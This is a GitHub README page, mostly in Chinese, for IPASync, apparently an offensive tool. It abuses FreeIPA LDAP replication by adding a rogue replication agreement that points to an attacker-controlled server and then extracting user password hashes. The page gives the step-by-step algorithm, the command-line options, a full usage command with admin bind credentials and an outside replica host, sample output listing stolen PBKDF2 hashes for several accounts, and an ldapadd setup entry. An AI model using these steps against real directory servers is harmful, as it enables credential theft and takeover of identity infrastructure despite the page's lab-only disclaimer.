Im10n/IPASync

GitHub: Im10n/IPASync

针对 FreeIPA 身份管理平台的 DCShadow 类似工具,通过注册恶意 LDAP 复制协议来提取用户密码哈希。

Stars: 6 | Forks: 0

# IPASync 这是一个用于 FreeIPA 的 DCShadow 类似工具。 ### 基本算法: 1. 启动恶意 LDAP 服务器 2. 向 LDAP 添加条目 (...,cn=mapping tree,cn=Config) 3. 等待复制开始 4. 停止恶意 LDAP 服务器 5. 从 LDAP 删除条目 (...,cn=mapping tree,cn=Config) ### 警告:LDAP 服务器必须能够访问您的端口以进行连接。 LDAP 中还应存在一个条目 cn=replica,cn=dc\=test\,dc\=local,cn=mapping tree,cn=Config。或者您需要自行创建它。 ### 选项: ``` Add LDAP replication agreement entry with automatic DN construction options: -h, --help show this help message and exit -d, --debug Enable debug mode (default: False) -t TIMEOUT, --timeout TIMEOUT Timeout in seconds for wait for replication (default: 5) -H LDAP_URL, --ldap-url LDAP_URL LDAP server url (ldap://...) -u BIND_DN, --bind-dn BIND_DN Bind DN for authentication -p BIND_PW, --bind-pw BIND_PW Bind password --replica-host REPLICA_HOST Replica host IP --replica-port REPLICA_PORT Replica port (default: 389) --replica-root REPLICA_ROOT Replica root (e.g. dc=test,dc=local) (default: None) -a ALL, --all ALL Dump all data to file (-a /path/to/file). By default only password hash. ``` 仅限于本地实验室环境测试! ### 使用示例: ``` python ipa_sync.py --ldap-url ldap://dc1.test.local --bind-dn uid=admin,cn=users,cn=accounts,dc=test,dc=local --bind-pw 'P@ssw0rd' --replica-port 3389 --replica-root dc=test,dc=local -t 7 --replica-host 10.10.10.10 Successfully added entry: cn=dcsync,cn=replica,cn=dc\3Dtest\2Cdc\3Dlocal,cn=mapping tree,cn=config Added complete. Start LDAP server. Wait replication... [*] preserved_user@TEST.LOCAL: [*] uid=sudo,cn=sysaccounts,cn=etc,dc=test,dc=local:{PBKDF2-SHA512}10000$krdW...jFBL3YSBfqkMNUn9oGYS2IUtYwawfxSRZehiOt9wyvuB2IJH9pNez0dQ== [*] admin@TEST.LOCAL:{PBKDF2-SHA512}100000$2MOEbZSzdTCsU1z4wF903jSAjVHaEKpi$Yks...x4IRs4rSwoiCjMcdpN97AIHgQLj6c7lAepRuWrteNdoS7UXSivw== [*] ivanov@TEST.LOCAL:{PBKDF2-SHA512}100000$QUAh31ewIp3oue+pHyC2bUM5al9sEdyO$25E...Anp2M8seTot6vxcSZef4CFc8mxV9v6g/5WOvuNnHARXGrDhjRLaA== Server terminated. Delete replication agreement LDAP error during deletion: error receiving data: timed out ``` ### 启动前 ``` $ ldapadd -H ldap://dc1.test.local dn: cn=replica,cn="dc=test,dc=local",cn=mapping tree,cn=config changetype: add objectClass: nsDS5Replica objectClass: top nsDS5ReplicaId: 2 nsDS5ReplicaRoot: dc=test,dc=local cn: replica nsDS5Flags: 1 nsDS5ReplicaBindDN: cn=replication manager,cn=config nsds5ReplicaChangeCount: 0 nsDS5ReplicaType: 3 ```
标签:AD域安全, Checkov, CISA项目, CTF学习, DCShadow, DCSync, FreeIPA, LDAP, LDAP复制, Python, 中间人攻击, 内网渗透, 凭据窃取, 协议分析, 域控制器安全, 密码哈希导出, 开源安全工具, 无后门, 权限提升, 目录服务安全, 网络安全, 身份认证攻击, 逆向工具, 逆向工程平台, 隐私保护